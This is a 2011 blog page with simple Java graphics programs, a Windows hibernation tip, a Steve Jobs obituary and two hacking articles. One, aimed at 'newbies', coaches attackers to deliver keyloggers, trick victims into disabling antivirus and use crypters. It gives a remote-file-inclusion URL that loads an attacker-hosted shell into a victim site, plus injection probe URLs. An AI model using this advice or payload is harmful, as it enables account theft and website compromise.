Tuesday, 25 October 2011

A JAVA PROGRAM: Bouncing ball with color change on collision with walls

In this program a ball is created which bounces back and forth and also changes its color on collision with the walls of the container.


CODE:

import java.awt.Graphics;
import java.util.Random;
import java.awt.Color;
import java.awt.Dimension;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JOptionPane;
class bounceball extends JPanel
{
    private static final int win_w=640;
    private static final int win_h=480;
    private float rad=100;// radius of the ball
    private float x=rad+50;
    private float y=rad+20;//center coordinates of the ball
    private float sx=4;
    private float sy=3;       //change in the coordinates(x and y)
    private static final int update_rate=30;//refresh of screen per second
    // Now constructor
    private Random r;
    private Color clr=Color.BLUE;
    public void set(Color c)
    {
        clr=c;
    }
    public Color get()
    {
        return clr;
    }
    public bounceball()
    {
        r=new Random();
        setPreferredSize(new Dimension(win_w,win_h));//size of the panel is set to
        //the size of the window
        Thread ballthread=new Thread(){
            public void run(){
                                while(true)
                                {
                                    x+=sx;
                                    y+=sy;
                                    //here we handle collision with the window walls
                                    //checking the horizontal collision
                                    if(x-rad<0)
                                    {  
                                        sx=-sx;//reverse the direction
                                        x=rad;
                                        set(new Color(r.nextInt(256),r.nextInt(256),r.nextInt(256)));
                                      
                                    }
                                    else if(x+rad>win_w)
                                    {
                                        sx=-sx;
                                        x=win_w-rad;
                                        set(new Color(r.nextInt(256),r.nextInt(256),r.nextInt(256)));
                                    }
                                    //checking the vertical collision
                                    if(y-rad<0)
                                    {
                                        sy=-sy;
                                        y=rad;
                                        set(new Color(r.nextInt(256),r.nextInt(256),r.nextInt(256)));
                                    }
                                    else if(y+rad>win_h)
                                    {  
                                        sy=-sy;
                                        y=win_h-rad;
                                        set(new Color(r.nextInt(256),r.nextInt(256),r.nextInt(256)));
                                    }
                                    repaint();
                                    try
                                    {
                                        Thread.sleep(1000/update_rate);
                                    }
                                    catch(InterruptedException e)
                                    {
                                        JOptionPane.showMessageDialog(null,"Please don't interrupt me while sleeping !","Disturbed",JOptionPane.ERROR_MESSAGE);
                                    }
                                }
                             }
                            };
        ballthread.start();//start the thread's execution      
    }
    public void paintComponent(Graphics g)
    {
        super.paintComponent(g);
        g.setColor(Color.BLACK);
        g.fillRect(0,0,win_w,win_h);
        g.setColor(get());
        g.fillOval((int)(x-rad),(int)(y-rad),(int)(2*rad),(int)(2*rad));
        g.setColor(Color.WHITE);
        String s=String.format("Position:[%3.0f,%3.0f]",x,y);
        g.drawString(s,20,40);
    }
    public static void main(String [] args)
    {
        JFrame jr=new JFrame("Bouncing ball.");
        bounceball ball=new bounceball();
        jr.add(ball);
        jr.setVisible(true);
        jr.setSize(650,500);
        jr.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        jr.pack();
    }
}


OUTPUT:

Program in Java to Print the Bull's EYE

import java.awt.Graphics;
import javax.swing.JFrame;
import java.awt.Color;
import java.util.Random;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
class drawBulleye extends JPanel
{
    public void paintComponent(Graphics g)
    {
        super.paintComponent(g);
        Random r=new Random();
        for(int i=0;i<20;i++)
        {
            Color clr=new Color(r.nextInt(255),r.nextInt(255),r.nextInt(255));
            g.setColor(clr);
            g.fillOval(10+5*i,10+5*i,200-10*i,200-10*i);
        }
    }
}
class Bulleye
{
    public static void main(String args[])
    {
        drawBulleye panel=new drawBulleye();
        JFrame app=new JFrame();
        app.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        app.add(panel);
        app.setSize(230,250);
        app.setVisible(true);
    }
}



Funny photo effects

Funny photo effects

Tuesday, 18 October 2011

Techno Soft...: Complete HACKING Information 4 NEWBIES...

Techno Soft...: Complete HACKING Information 4 NEWBIES...: Hello friends, today i am going to share complete hacking information in short for Newbies. Introduction: We see a millions of people...

Complete HACKING Information 4 NEWBIES...

Hello friends, today i am going to share complete hacking information in short for Newbies.




Introduction:

We see a millions of people going to different forums and websites and asking "how do i hack an email?", "Can you hack blah for me?". So thought to create a tutorial which will give you the basic idea about what the heck is a "HACK", and how to DEFEND YOUR SELF AGAINST HACKERS.

Background:

Hacking started way too far when the windowsd 98 was designed. Hacking is basically finding out the loop holes and trying leak some information out of it, which may lead you to get some critical information like passwords, credit card details. Sometimes hacking is done just because of the personal offesnses.

Things to remember

I will suggest you, KEEP READING ARTICLES AND TUTORIALS FROM GOOD SITES. THATS THE ONLY WAY YOU CAN LEARN.

Initialization:

Getting back to the main point, I am going to discuss some of the ways of hacking in brief. Hacking is basically bifurcated in 2 major parts.

1. Email or the user information
2. Web based hacking.





These days the most commonly used and famous way of hacking user information like Emails, Passwords, Credit card details are as follow:

a.   Phishing
b.   Brute Forcing
c.   Keylogging
d.   Trojans

A: Phishing:

Phishing is basically a massive attack. What a hacker does is, they created an absoulutely look alike page of some website like yahoo or gmail. They upload it to their own server. And give the link to any n00b user. When they open it, they think that they are on the yahoo or gmail page, they put in their username and password, click on submit and WHOA! your information has been submitted. This is widely used by new people trying to entering into ahcking world.

Most recent example in india was some scam with ICICI bank, lots of user info was stolen as far as i remember. I read it somewhere in the news paper and was thinking what the hell! ?

Disadvantages:

Still many people give it a try before going for phishing, because the only problem in phishing is, even if the victim knows a little about internet, he will read the URL and understand that it is not a genuine website.

B: Brute Forcing:

Brute forcer is basically a program which could be called as a "cracker". In brute focer you put the username you want to hack, and as a password you put a notepad file which has almost all of the existing english words in it. So what it does is, it will try each and every word from that file and see if anything matches. You might have noticed some topics like "huge pass list" on different forums, they are nothing but the password list to put into your bruteforcer.!

Disadvantages: 

1. Sometimes brute forcing may just go for ages!
2. It isnt guaranteed
3. These days many people have alpha-numeric-symbol password which is real tough for brutefocer to detect
4. Most of the famous sites like yahoo, gmail are designed in such a way that it will put the "image captcha" after 3 incorrect login attempts, which stops the bruteforcer.

C: Keylogging :

Keylogger helps you to create a little filed which is known as "server". You gotta send your server to the victim. he has to click on it and then YOUR DONE! this is what happens.

Best possible way to hack someone. Keyloggers are basically a program which will install themselves in your victim's computer and will keep on recording each and every keystroke pressed by the victim on his keyboard and it will send it to the hacker. There are many ways to receive the keystroke i.e. FTP, Email, Messengers. According to me this is the best way to trick your victim and get their information

Disadvantages :

1. When victim receives the keylogger, in most of the cases, their anti virus would auto delete them. So you have to convince them to desable the anti virus by bluffing something.
2. Sometimes firewall blocks the keylogs from being sent.

Tips :

1. There are some programs which are known as "crypters" which will help you to make your server's undetectable. So your victim's anti-virus would not be able to detect them.

D: Trojans :

Trojans are like father of keyloggers. Trojan sends you the keylogs just as keyloggers, on top of that, it lets you take the control of victim's computer. Edit / delete/ upload / download files from or to their computer. Some more funny features like it will make their keyboard go mad, it may kep on ejecting and re-inserting the cd ROM. Much more..

Disadvantages :

Same as keyloggers.

Tips :

Same as keylogger.




I will discuss some most commonly used web hacking techniques which helps hackers to hack any website. This will help you to SAVE YOUR SITE!

1. SQL Injection
2. XSS
3. Shells
4. RFI
5. There are some more but they are TOOO big to be discussed in here.

1 : SQL Injection :

Most of the websites these days are connected to an SQL Database. Which helps them to store usernames and passwords [encrypted] when a guest registers to their website. SQL database processes a querie everytime a user logs in. It goes to the database, validates the password, if its correct then it logs in the user and if its not then it gives an error.

So the basic funda is executing a command to parase a query in the database to try to exploit the internet information of the database. I cant really put the entire tutorial about because this is the most complicated way to hack the website!

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:
      
Code:
yoursite.com/index.php?id=545

just add a ' like this at the end

Code:
yoursite.com/index.php?id=545'

 2 : XSS :

XSS is another nice way to ahck some website. Suppose if some website/ forum is allowing HTML in the psot or articles, then a hacker can post a malicious script into the content. So whenever a user opens up the page, the cookies would be sent to the hacker. So he can login as that user and f*ck the website up.

3. Shells :

Shell is a malicious .php script. What you have to do is, find a palce in any website where you can upload any file like avatars, recepie, your tricks, your feedbacks. And you try to upload your shell files from there. And if its uploaded then WHOA!you open it from the URL bar and u can see the entire "FTP" account of that webhosting. YOu can rename/edit / upload/download anything u want including the index page.
This is also known as deface.

4. RFI :

RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on:

Code:
yoursite.com/shell.txt


and you found a vulnerable site to RFI... then you can do as follow:

Code:
victimssite.com/index.php?page=yousite.com/shell.txt


This will again give u the access of your victim's sites FTP , just as shell so you can f*ck up anything you want.

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:

Code:
yoursite.com/index.php?id=545


just add something liek this at the end

Code:

yoursite.com/index.php?id=http://www.google.com

And if it incldes the google page into your page, that means its vulnerable to RFI.

ENJOY!
eXCLUSIVELY BY Realhackingtips(RHT)!!!!! 








You might be interested in some of our other articles:


Hacking A Technology Threat...



During the 1960s, the word "hacker" grew to prominence describing a person 

with strong computer skills, an extensive understanding of how computer programs worked, and a driving curiosity about computer systems. Hacking, however, soon became nearly synonymous with illegal activity. While the first incidents of hacking dealt with breaking into phone systems, hackers also began diving into computer systems as technology advanced.

Hacking became increasingly problematic during the 1980s. As a result, the Computer Fraud and Abuse Act were created, imposing more severe punishments for those caught abusing computer systems. In the early 1980s, the Federal Bureau of Investigation (FBI) made one of its first arrests related to hacking. A Milwaukee-based group known as the 414s was accused of breaking into 60 different computer systems including the Memorial Sloan-Kettering Cancer Center and the Los Alamos National Laboratory. Later that decade, the infamous Kevin Mitnick was arrested and sentenced to one year in jail for damaging computers and stealing software. He was arrested again in 1995 for computer fraud and put in jail for hacking Motorola Inc., Sun Microsystems Inc., NEC Corp., and Novell Inc. to steal software, product plans, and data. Mitnick eventually cost the firms a total of roughly $80 million.

As negative publicity surrounding hackers continued to grow, those who considered themselves true hackers-computer programming enthusiasts who pushed computer systems to their limits without malicious intent and followed a hacker code of ethics-grew weary of the media's depiction of hackers. As a result, several hacker groups coined the term 'cracker' in 1985 to define a person who broke into computer systems and ignored hacker ethics; however, the media continued to use the word hacker despite the fact that although most early hackers believed technical information should be freely available to any person, they abided by a code of ethics that looked down upon destroying, moving, or altering information in a way could cause injury or expense.

AT&T Corp., Griffith Air Force Base, NASA, and the Korean Atomic Research Institute all fell prey to hackers in the early 1990s. Federal World Wide Web sites, including those of the U.S. Department of Justice, the U.S. Air Force, and the CIA, were also attacked by hackers and defaced. During 1995 alone, U.S. Defense Department computers dealt with 250,000 hacker attacks. As technology advanced and business transactions conducted over the Internet increased, malicious hackers became even more destructive. Popular Web sites such as Yahoo!, America Online, eBay, and Amazon.com were hacked, costing millions and leaving online shoppers doubtful about security on these sites; a 16-year-old Canadian boy operating under the name Mafia boy was arrested for these attacks, as well as for breaking into both Harvard's and Yale's university computer systems. Under the terms of his parole, Mafia boy was not allowed to use the Internet or go into stores that sold computers, and his computer use was limited to that which was supervised by a teacher at school.



Types of Hacking

Hacking Types


1) Inside Jobs - Most security breeches originate inside the network that is under attack. Inside jobs include stealing passwords (which hackers then use or sell), performing industrial espionage, causing harm (as disgruntled employees), or committing simple misuse. Sound policy enforcement and observant employees who guard their passwords and PCs can thwart many of these security breeches.


2) Rogue Access Points - Rogue access points (APs) are unsecured wireless access points that outsiders can easily breech. (Local hackers often advertise rogue APs to each other.) Rogue APs are most often connected by well-meaning but ignorant employees.


3) Back Doors - Hackers can gain access to a network by exploiting back doors�'administrative shortcuts, configuration errors, easily deciphered passwords, and unsecured dial-ups. With the aid of computerized searchers (bots), hackers can probably find any weakness in your network.


4) Viruses and Worms - Viruses and worms are self-replicating programs or code fragments that attach themselves to other programs (viruses) or machines (worms). Both viruses and worms attempt to shut down networks by flooding them with massive amounts of bogus traffic, usually through e-mail.


5) Trojan Horses - Trojan horses, which are attached to other programs, are the leading cause of all break-ins. When a user downloads and activates a Trojan horse, the hacked software (SW) kicks off a virus, password gobbler, or remote-control SW that gives the hacker control of the PC.


6) Denial of Service - DoS attacks give hackers a way to bring down a network without gaining internal access. DoS attacks work by flooding the access routers with bogus traffic (which can be e-mail or Transmission Control Protocol, TCP, packets).

Distributed DoSs (DDoS5) are coordinated DoS attacks from multiple sources. A DDoS is more difficult to block because it uses multiple, changing, source IP addresses.


7) Anarchists, Crackers, and Kiddies - Who are these people, and why are they attacking I your network?

Anarchists are people who just like to break stuff. They usually exploit any target of opportunity.

Crackers are hobbyists or professionals who break passwords and develop Trojan horses or other SW (called warez). They either use the SW themselves (for bragging rights) or sell it for profit.

Script kiddies are hacker wannabes. They have no real hacker skills, so they buy or download warez, which they launch.

Other attackers include disgruntled employees, terrorists, political operatives, or anyone else who feels slighted, exploited, ripped off, or unloved.


8) Sniffing and Spoofing - Sniffing refers to the act of intercepting TCP packets. This interception can happen through simple eavesdropping or something more sinister.

Spoofing is the act of sending an illegitimate packet with an expected acknowledgment (ACK), which a hacker can guess, predict, or obtain by snooping.

As the cost of hacking attacks continues to rise, businesses have been forced to increase spending on network security. However, hackers have also developed new skills that allow them to break into more complex systems. Hacking typically involves compromising the security of networks, breaking the security of application software, or creating malicious programs such as viruses.


The most popular forms of network hacking are denial of service (DoS) attacks and mail bombs. DoS attacks are designed to swamp a computer network, causing it to crash. Mail bombs act in a similar fashion, but attack the network's mail servers. When eBay was attacked in February 2000, its Web server was bombarded with fake requests for Web pages, which overloaded the site and caused it to crash. Network hackers also try to break into secure areas to find sensitive data. Once a network is hacked, files can be removed, stolen, or erased. A group of teens in Wichita, Kansas, for example, hacked into AOL and stole credit card numbers that they then used to buy video games.

Application hackers break security on application software-software including word processing and graphics programs-in order to get it for free. One way they gain access to software that requires a serial number for installation is by setting up a serial number generator that will try millions of different combinations until a match is found. Application hackers also sometimes attack the program itself in an attempt to remove certain security features.

Hackers that create viruses, logic bombs, worms, and Trojan horses are involved in perhaps the most malicious hacking activities. A virus is a program that has the potential to attack and corrupt computer files by attaching itself to a file to replicate itself. It can also cause a computer to crash by utilizing all of the computer's resources. For example, e-mail systems were inundated with the "ILOVEYOU" and the "Love Bug" viruses in May of 2000, and the damage to individuals, businesses, and institutions was estimated at roughly $10 billion. Similar to viruses, logic bombs are designed to attack when triggered by a certain event like a change in date. Worms attack networks in order to replicate and spread. In July of 2001, a worm entitled "Code Red" began attacking Microsoft Internet Information Server (IIS) systems. The worm infected servers running Windows NT 4, Windows 2000, Windows XP, and IIS 4.0 and defaced Web sites, leaving the phrase "Welcome to www.worm.com Hacked by Chinese!" Finally, a Trojan horse is a program that appears to do one thing, but really does something else. While a computer system might recognize a Trojan horse as a safe program, upon execution, it can release a virus, worm, or logic bomb.


for more info:
http://www.slideshare.net/SHERALI445/types-of-hacking-3133730


How to Enable or Disable Hibernation in Windows 7


Enabling or Disabling the “Hibernate” option in Windows 7 or Vista is not as simple as it used to be in Windows XP. For Windows 7 a different approach has to be followed to accomplish the same job. In this post you will find how to enable or disable the Hibernate option in Windows 7.
Hibernation is a power saving option which was designed primarily for laptops. Unlike “sleep mode” which puts the open documents and files into the memory, hibernation puts all the open files and documents on to the hard disk and shuts down the computer without drawing even a small amount of power. Thus hibernation becomes an excellent way to save power and resume Windows back to the state where it was left off. If you really want to use this feature on Windows 7 then you need to enable this option. This can be done as follows.
1. Open the Command Prompt with “Administrator rights”. To do so, type cmd in Start menu and then hit Ctrl+Shift+Enter.
2. Now type the following command in the command prompt and hit Enter.
powercfg /hibernate on

Now a small window will pop-up as shown below:



3. Type exit and hit Enter to close the Command Prompt. Now you should see the “Hibernate” option in the Start menu. If not then perform the following steps.
A. Type Power Options in the Start menu and hit Enter.
B. In the left pane, open the link labeled “Change when the computer sleeps” and then open the link “Change advanced power settings”.

C. Now expand the Sleep tree and turn off Allow Hybrid Sleep as shown in the above screenshot.
D. Now you should see the Hibernate option in the Start menu.

Sunday, 16 October 2011

Techno Soft...: The Apple Co-Founder, Chairman and Former CEO Stev...

Techno Soft...: The Apple Co-Founder, Chairman and Former CEO Stev...: (Brijesh) – Steve Jobs, the transcendent Silicon Valley entrepreneur who reinvented the world’s computing, music and mobile phone industr...

The Apple Co-Founder, Chairman and Former CEO Steve Jobs died




(Brijesh) – Steve Jobs, the transcendent Silicon Valley entrepreneur who reinvented the world’s computing, music and mobile phone industries and changed the daily habits of millions around the globe, died on Wednesday at the age of 56.
His death after a years-long battle with pancreatic cancer sparked an immediate outpouring of tributes as world leaders, business rivals and fans alike lamented the tragedy of his premature passing and celebrated his monumental achievements.
“The world has lost a visionary. And there may be no greater tribute to Steve’s success than the fact that much of the world learned of his passing on a device he invented,” President Barack Obama said in a statement.
Fans paid homage to Jobs outside Apple stores around the world, from Los Angeles to Sydney. Outside one store in New York City, mourners laid candles, bouquets of flowers, an apple and an iPod Touch in a makeshift memorial. In San Francisco, they held up black-and-white portraits of Jobs on their iPads.
Many websites, including Apple’s own, were transformed into online memorials, a testament to the digital creativity that Jobs inspired.
“For those of us lucky enough to get to work with him, it’s been an insanely great honor,” said Microsoft’s Bill Gates, who once triumphed over Jobs but has seen his legendary status overtaken by the Apple co-founder in recent years.
Jobs was surrounded by his wife and immediate family when he died in Palo Alto, California, Apple said late on Wednesday. Other details were not immediately available.
Jobs stepped down as CEO in August and handed the reins to long-time operations chief Tim Cook. With a passion for minimalist design and a genius for marketing, Jobs laid the groundwork for the company to continue to flourish after his death, most analysts and investors say.
But Apple still faces challenges in the absence of the man who was its chief product designer, marketing guru and salesman nonpareil. Phones running Google’s Android software are gaining share in the smartphone market, and there are questions over what the next big thing is in Apple’s product line.
LEGENDARY ENTREPRENEUR
A college drop-out and the son of adoptive parents, Jobs changed the technology world in the late 1970s, when the Apple II became the first personal computer to gain a wide following. He did it again in 1984 with the Macintosh, which built on the breakthrough technologies developed at Xerox Parc and elsewhere to create the personal computing experience as we know it today.
The rebel streak that’s central to his persona got him tossed out of the company in 1985, but he returned in 1997 and after a few years began the rollout of a troika of products — the iPod, the iPhone and the iPad — that again upended the established order in major industries.
A diagnosis of a rare form of pancreatic cancer in 2004 initially cast only a mild shadow over Jobs and Apple, with the CEO asserting that the disease was treatable. But his health deteriorated rapidly over the past several years, and after two temporary leaves of absence he stepped down as chief executive and became Apple’s chairman in August.
Jobs’ death came just one day after Cook presented a new iPhone at the kind of gala event that became Jobs’ trademark. Perhaps coincidentally, the new device got lukewarm reviews, with many saying that it wasn’t a big enough improvement over the existing version of one of the most successful consumer products in history.
Apple on Wednesday paid homage to its visionary leader by changing its website to a big black-and-white photograph of him with the caption “Steve Jobs: 1955-2011.”
The flags outside the company’s headquarters at 1 Infinite Loop flew at half mast. Employees left flowers on a bench and a mourner played music on bagpipes in an impromptu tribute.
Cook said in a statement that Apple planned to hold a celebration of Jobs’ life for employees “soon”.
“Steve’s brilliance, passion and energy were the source of countless innovations that enrich and improve all of our lives. The world is immeasurably better because of Steve,” Apple said in a statement.
“His greatest love was for his wife, Laurene, and his family. Our hearts go out to them and to all who were touched by his extraordinary gifts.”
The announcement of Jobs’ death came after almost all trading in U.S. stocks had finished for the day. Apple’s stock was last quoted at $377.22, a tad lower than its Nasdaq close of $378.25.
Outside Jobs’ house in Palo Alto, neighbors and friends left flowers and drew messages with markers on the sidewalk. “Thanks for changing the world,” read one.
A low fence surrounded a lawn filled with apple trees.
“He was special for the area, like part of the family,” said Robert Blum, who brought flowers with his eight-year-old son, Daniel.
NET WORTH $7 BLN
Jobs, in his trademark uniform of black mock-turtleneck and blue jeans, was deemed the heart and soul of a company that rivals Exxon Mobil as the most valuable in America.
Forbes estimates Jobs’ net worth at $7 billion. It was not immediately known how his estate would be handled.
His health had been a controversial topic for years and a deep concern to Apple fans and investors. Even board members have in past years confided to friends their concern that Jobs, in his quest for privacy, was not being forthcoming enough with directors about the true condition of his health.
Born in San Francisco, the Buddhist and son of adoptive parents started Apple Computer with friend Steve Wozniak in his parent’s garage 1976.
Six years ago, Jobs had talked about how a sense of his mortality was a major driver behind that vision.
“Remembering that I’ll be dead soon is the most important tool I’ve ever encountered to help me make the big choices in life,” Jobs said during a Stanford commencement ceremony in 2005.
“Because almost everything — all external expectations, all pride, all fear of embarrassment or failure — these things just fall away in the face of death, leaving only what is truly important.”
“Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.”
(Additional reporting by Beck Diefenbach)
(Reporting by Poornima Gupta, Edwin Chan, Andrew Longstreth, Sarah McBride, Bill Rigby, Lisa Richwine, Liana Baker, Soyoung Kim, Nadia Damouni and Peter Lauria; Editing by Gary Hill, Tiffany Wu, Ted Kerr and Bernard Orr)